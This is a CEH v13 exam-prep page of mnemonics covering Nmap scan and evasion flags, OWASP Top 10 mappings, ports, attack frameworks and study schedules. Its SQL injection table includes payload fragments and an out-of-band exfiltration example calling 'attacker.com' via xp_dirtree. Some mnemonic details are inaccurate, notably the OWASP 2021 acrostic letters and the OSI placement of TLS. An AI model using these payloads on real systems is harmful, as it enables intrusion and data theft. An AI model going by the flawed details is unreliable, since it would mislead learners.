CEH Mnemonics & Memorization Hooks
Section titled “CEH Mnemonics & Memorization Hooks”Purpose: One-page memory hooks for last-mile CEH v13 review. Every mnemonic is paired with a story and a single-line retrieval cue so it survives an exam-day brain freeze. Use with:
99-cheatsheet.md(canonical facts) +domains/01-flashcards.md(active recall).
1. Nmap Flags - “Sneaky Teacher Uses Null/Fin/Xmas At Idle Versions, Oh All, Please Forge Decoys, go”
Section titled “1. Nmap Flags - “Sneaky Teacher Uses Null/Fin/Xmas At Idle Versions, Oh All, Please Forge Decoys, go””Story: A sneaky pentester (S) tries a SYN half-open → falls back to full TCP connect → sweeps UDP → abuses the RFC 793 loophole with NULL/FIN/XMAS → maps the firewall with ACK → hides behind an Idle zombie → reads Version banners → finger-prints the OS → runs Aggressive everything → the host’s ICMP is blocked so Pn skips discovery → Fragments the probe → hides in a crowd of Decoys → spoofs source via -g.
| Flag | Hook |
|---|---|
-sS | Sneak = SYN half-open, default root scan |
-sT | Three-way full connect, no raw sockets needed |
-sU | UDP scan, slow; open|filtered needs -sV |
-sN | Null = no flags, Unix-only loophole |
-sF | Fin = only FIN flag, same loophole |
-sX | Xmas = FIN+PSH+URG, packet lit like a tree |
-sA | Ack = maps stateful firewall, no port state |
-sI | Idle = third-party zombie IP-ID side-channel |
-sV | Version probe on banner grab |
-O | OS fingerprint, TCP/IP stack quirks |
-A | Aggressive = -sV -O -sC |
-Pn | Pretend host is up = skip discovery |
-f | Fragment packets, IDS evasion |
-D | Decoys, hide among spoofed sources |
-g | Getaway car = spoof source port (e.g. 53) |
2. OWASP Top 10 (2021 + 2025)
Section titled “2. OWASP Top 10 (2021 + 2025)”2021 acrostic - “Broken Crypto Injects Insecure Software Into Idle Logs, SSRF”:** B-Broken Access Control → C-Cryptographic Failures → I-Injection → I-Insecure Design → S-Security Misconfig → S-Vulnerable Components → I-Auth Failures → I-Integrity Failures → L-Logging Failures → S-SSRF.
2025 rename map (from 09-owasp-top10-2025-addendum.md):
| 2021 | 2025 | Hook |
|---|---|---|
| A01 + A10 SSRF | A01 Broken Access Control | SSRF folded in - server-side authZ |
| A05 Misconfig | A02 Security Misconfig | jumps to #2 |
| A06 Components | A03 Software Supply Chain Failures | SolarWinds, xz-utils |
| A02 Crypto | A04 Cryptographic Failures | slides to #4 |
| A03 Injection | A05 Injection | slides to #5 |
| A04 Insecure Design | A06 Insecure Design | slides to #6 |
| A07 AuthN | A07 Authentication Failures | drop “Identification” |
| A08 Integrity | A08 Software/Data Integrity Failures | same |
| A09 Logging | A09 Logging & Alerting Failures | alerting now mandatory |
| - | A10 Mishandling of Exceptional Conditions | NEW - fail-open error paths |
LLM addendum: OWASP Top 10 2025 ≠ LLM Top 10. If the stem says “LLM/GenAI”, switch to LLM01 Prompt Injection and LLM06 Excessive Agency.
3. Default Ports - “Http/Https on Ftp/Ssh, Telnet Smells, Dns Ldap, Smtp Pop Imap Rule, Smb, Snmp, Mysql Postgres, Rdp Kafka”
Section titled “3. Default Ports - “Http/Https on Ftp/Ssh, Telnet Smells, Dns Ldap, Smtp Pop Imap Rule, Smb, Snmp, Mysql Postgres, Rdp Kafka””| Port | Service | Hook |
|---|---|---|
| 21 / 20 | FTP / FTP-data | File Transfer Plaintext - always anonymous guess |
| 22 | SSH | Secure Shell, key auth default |
| 23 | Telnet | Telnet, plaintext, never use |
| 25 | SMTP | Sending mail, open relay bad |
| 53 | DNS | Domain Name, UDP + TCP |
| 80 | HTTP | HyperText, unencrypted |
| 110 | POP3 | Post Office, download mail |
| 143 | IMAP | Imap, keep mail on server |
| 161/162 | SNMP | Simple Network Management - community strings |
| 389 / 636 | LDAP / LDAPS | Lightweight directory, 636 = TLS |
| 443 | HTTPS | HTTPS, TLS-wrapped HTTP |
| 445 | SMB | Server Message Block, Windows shares |
| 1433 | MSSQL | SQL Server default |
| 3306 | MySQL | My SQL, 3-3-0-6 |
| 3389 | RDP | Remote Desktop Protocol |
| 5432 | PostgreSQL | Postgres, 5-4-3-2 |
| 5900 | VNC | Virtual Network Computing |
| 9092 | Kafka | Kafka broker |
4. MITRE ATT&CK 14 Tactics - “Rebecca’s Really Inside, Executing Persistent Disabled Credentials, Discovering Lateral Collection, Commanding Exfiltration, Impacting”
Section titled “4. MITRE ATT&CK 14 Tactics - “Rebecca’s Really Inside, Executing Persistent Disabled Credentials, Discovering Lateral Collection, Commanding Exfiltration, Impacting””Story: A heist crew (Rebecca) Reconnoitres the bank (R), builds Resources (R), bribes the Initial Access guard (I), Executes the inside man (E), rigs Persistence (P), Privilege-Escalates to vault (P,D), Defends against alarms (D), Cracks the Credential safe (C), Discovers the vault layout (D), Lateral-Moves through vents (L), Collects diamonds (C), sets up Command-and-Control via burner phone (C), Exfiltrates by tunnel (E), finally Impacts by blowing the door (I).
The acronym RRIEPPDCDLC C EI is brutal - use the heist movie mental image instead.
5. Lockheed Kill Chain (7 Phases) - “Rex Weaponised Death, Exploited, Installed Command-and-Control, then Acted”
Section titled “5. Lockheed Kill Chain (7 Phases) - “Rex Weaponised Death, Exploited, Installed Command-and-Control, then Acted””Story: A military op - scouts Recon → welds bomb in Weaponisation → airdrops it in Delivery → drone strikes in Exploitation → special-forces Install the beacon → HQ opens C2 channel → operators Act on Objectives. Most expensive phase to recover from: Actions on Objectives (data already exfiltrated).
Mnemonic: “Rex Watches Dangerous Explosives, Installs Cameras, Acts.”
6. CEH 5-Phase Methodology - “Really Smart Guys Maintain Cover”
Section titled “6. CEH 5-Phase Methodology - “Really Smart Guys Maintain Cover””Story: A spy Reconnoitres (R) the embassy → Scans (S) for guards and cameras → Gains access (G) by forging an ID → Maintains (M) access with a planted key → Covers tracks (C) by scrubbing the badge log. Exam rule: if a stem says “phase 3”, it means 5-phase CEH, not Kill Chain.
Phases: Recon → Scanning/Enumeration → Gain Access → Maintain → Cover Tracks.
7. Crypto Differences - Symmetric vs Asymmetric vs Hash vs MAC
Section titled “7. Crypto Differences - Symmetric vs Asymmetric vs Hash vs MAC”| Type | Keys | Output | Hook |
|---|---|---|---|
| Symmetric | 1 shared key | ciphertext | Same key locks & unlocks - fast, AES |
| Asymmetric | key pair (pub + priv) | ciphertext / signature | Two keys, double the work - RSA, ECC, DH |
| Hash | no key | fixed digest | One-way fingerprint - SHA-256, MD5 (broken) |
| MAC | secret key + hash | tag | Hash with a key - HMAC, signs integrity |
Exam gotcha: a “hash collision” → birthday attack. A “MAC with no key” → not a MAC, just a hash. “AES with shared key” → symmetric. “Sign + verify” → asymmetric.
8. CIA + AAA + Parkerian Hexad
Section titled “8. CIA + AAA + Parkerian Hexad”CIA: Confidentiality, Integrity, Availability - the security trinity. AAA: Authentication (who are you?), Authorization (what can you do?), Accounting (what did you do?). Parkerian Hexad (Donn Parker, 1998) - adds 3 to CIA: Possession, Authenticity, Utility. Mnemonic: “CIA + PAU = Parker’s extra three.”
Hook: CIA is the goal, AAA is the mechanism, Parkerian is CIA plus three real-world concerns (you can have a confidential ciphertext that is also worthless = utility lost).
9. OSI 7 Layers - “Please Do Not Throw Sausage Pizza Away”
Section titled “9. OSI 7 Layers - “Please Do Not Throw Sausage Pizza Away””Top-down (7→1): Application, Presentation, Session, Transport, Network, Data Link, Physical. Bottom-up (1→7): Physical, Data Link, Network, Transport, Session, Presentation, Application.
Story version - “All People Seem To Need Data Processing”: A waitress (App) presents the menu (Pres), takes your order session (Sess), transports it to the kitchen (Trans), the network of cooks routes it (Net), data-link binds the receipt (Data), the physical griddle cooks it (Phys).
Layer anchors: ARP=L2, IP=L3, TCP/UDP=L4, TLS=L5/6 (Presentation), HTTP/DNS=L7.
10. TCP 3-Way Handshake - “Syn, Syn-Ack, Ack - three letters, three steps”
Section titled “10. TCP 3-Way Handshake - “Syn, Syn-Ack, Ack - three letters, three steps””Story: Alice SYNs (“can we talk?”) → Bob SYN-ACKs (“yes, can you?”) → Alice ACKs (“I can”). The flags form SSA. After the third packet, both sides have an established connection. SYN flood DoS leaves Bob with thousands of half-open SYNs.
11. SQL Injection Types - “In-band and In-ferential share the channel; Out-of-band dials a different number”
Section titled “11. SQL Injection Types - “In-band and In-ferential share the channel; Out-of-band dials a different number””| Class | Subtype | Hook |
|---|---|---|
| In-band | Error-based | DB errors leak schema (' → ODBC dump) |
| In-band | UNION-based | Append UNION SELECT to original query |
| Inferential (blind) | Boolean | AND 1=1 vs AND 1=2, ask true/false |
| Inferential (blind) | Time | WAITFOR DELAY '0:0:5', ask with a stopwatch |
| Out-of-band | DNS / HTTP | xp_dirtree '//attacker.com/' - exfil via resolver |
Tool: sqlmap is the exam default for automation.
12. DoS Attack Categories - “Volumetric Protocol Application - eat more, break state, break logic”
Section titled “12. DoS Attack Categories - “Volumetric Protocol Application - eat more, break state, break logic””| Category | Layer | Hook |
|---|---|---|
| Volumetric | L3/L4 | Saturate bandwidth - UDP flood, DNS amplification, Memcached DRDoS |
| Protocol | L4 | Exhaust state - SYN flood, Ping of Death, Smurf, Fraggle |
| Application | L7 | Exhaust logic - HTTP flood, Slowloris, Low-and-Slow |
DoS always attacks the A in CIA (Availability). The mitigation ladder: rate-limit → BCP38 → Anycast → WAF → CAPTCHA.
13. Cloud Shared Responsibility - “It’s Pete’s Salary”
Section titled “13. Cloud Shared Responsibility - “It’s Pete’s Salary””| Layer | You own | Provider owns | Hook |
|---|---|---|---|
| IaaS (EC2) | OS, runtime, app, data, IAM | Hardware, hypervisor, network | I = you patch the OS |
| PaaS (RDS, Beanstalk) | App, data, IAM | OS, runtime, middleware | P = provider patches OS |
| SaaS (Gmail, Office 365) | Data, users, access | Almost everything | S = just your data and identity |
Exam rule: as you move up the stack, the provider does more - your responsibility shrinks. Breaches trace to misconfig when IaaS customers forget the OS, when SaaS customers forget the data.
14. Memory Palace / Method of Loci
Section titled “14. Memory Palace / Method of Loci”The method of loci is a 2,500-year-old memory trick attributed to the Greek poet Simonides of Ceos (~477 BCE): when a roof collapse killed banquet guests, he identified each body by mentally walking past where they had been sitting. Place = index, image = payload. The Roman orator Cicero codified it; Matteo Ricci built a 16th-century Jesuit memory palace; Frances Yates chronicled the lineage in The Art of Memory (1966).
Build a CEH palace. Choose one fixed route you can visualise in under 30 seconds - your childhood home works well. Walk it in the same order every time. For each OWASP A01-A10, park one vivid image at one locus:
- Front door (A01 Broken Access Control) - a broken key hanging in the lock; the door swings wide open. Anyone walks in. (IDOR + SSRF.)
- Hallway coat rack (A02 Security Misconfig) - a coat rack with all the default keys still taped to it (
admin/admin,root/root). - Kitchen (A03 Software Supply Chain) - the delivery driver hands you a poisoned pizza (xz-utils backdoor).
- Living-room safe (A04 Crypto) - a safe with a paper-thin glass window, password on a sticky note.
- Upstairs bath (A05 Injection) - water pipes labelled
eval()leak raw sewage into the sink. - Stair landing (A06 Insecure Design) - no handrail on the stairs, no rate-limit on the front-door buzzer.
- Bedroom (A07 Auth Failures) - single front-door key, no second lock, no FIDO token.
- Attic (A08 Integrity) - unsigned boxes stacked to the ceiling, no SHA manifest.
- Garage (A09 Logging & Alerting) - dashcam records everything, but no one watches the footage.
- Back garden (A10 Exceptional Conditions) - a fence with a hole big enough for a child to walk through (fail-open error path).
Walk it forward to recall the categories, walk it backward to sequence them. After two passes you will retrieve A01-A10 in order without conscious effort. The same trick scales to ports (kitchen = 21/22, bath = 443, garage = 3389) and to MITRE tactics.
15. Spaced Repetition Schedule (3-Week Sprint)
Section titled “15. Spaced Repetition Schedule (3-Week Sprint)”Ebbinghaus (1885) showed recall collapses exponentially without review - the forgetting curve. Roediger & Karpicke (2006, Psychological Science) proved retrieval practice (active recall, not re-reading) is the dominant driver of long-term retention. The schedule below is calibrated for a 3-week CEH sprint: introduce → encode → consolidate → survive to exam day.
| Week | Days | Action |
|---|---|---|
| 1 - Introduce | Day 1 | Read the section, write 5 self-quizzes, review #1 same evening |
| Day 2 | Review #2 of Week-1 material (24h gap) | |
| Day 3 | Review #3 (48h gap) | |
| Day 4-7 | Rest; only re-touch items still shaky from Day 1-3 | |
| 2 - Consolidate | Day 8 | Review pass 1 - full deck (3 days since Day 1) |
| Day 11 | Review pass 2 - full deck (3 days since Day 8) | |
| Day 14 | Review pass 3 - full deck (3 days since Day 11) | |
| 3 - Survive | Day 15 | Final consolidation review of weakest items |
| Day 18 | Pre-exam review - full deck, focus on Nmap + OWASP + Crypto | |
| Day 21 | Exam day - light skim of 99-cheatsheet.md only, no new content |
The 3-3-3 cadence (review at 1d, 3d, 7d then 3d gaps) is the Ebbinghaus-inspired back-of-the-envelope that survives even when Anki isn’t used. For each session: recall first, then check, then re-test the misses. Re-reading without recall is busywork; retrieval is the engine.
Sources
Section titled “Sources”- Ebbinghaus, H. (1885). Über das Gedächtnis: Untersuchungen zur experimentellen Psychologie. Leipzig: Duncker & Humblot. Origin of the forgetting curve; first empirical study of spaced retrieval.
- Roediger, H. L., & Karpicke, J. D. (2006). “Test-Enhanced Learning: Taking Memory Tests Improves Long-Term Retention.” Psychological Science, 17(3), 249-255. Retrieval practice dominates re-reading for long-term retention.
- Yates, F. A. (1966). The Art of Memory. Chicago: University of Chicago Press. Canonical history of the method of loci, from Simonides of Ceos through Cicero and the Renaissance.
- Wikipedia - “Spaced repetition.” en.wikipedia.org/wiki/Spaced_repetition (verified 2026-09-11) - summary of Ebbinghaus, Bjork, Pashler, Landauer research line.
- Wikipedia - “Method of loci.” en.wikipedia.org/wiki/Method_of_loci (verified 2026-09-11) - Simonides origin, Matteo Ricci Jesuit memory palace (Spence 1984), Yates (1966).
- OWASP Foundation (2025). OWASP Top 10:2025 - Introduction. https://owasp.org/Top10/2025/ - source for rename map and ordering deltas.
- EC-Council. CEH v13 Exam Blueprint & Ethical Hacking Methodology. - source for the 5-phase RSGMC canon and Lockhead Kill Chain ordering.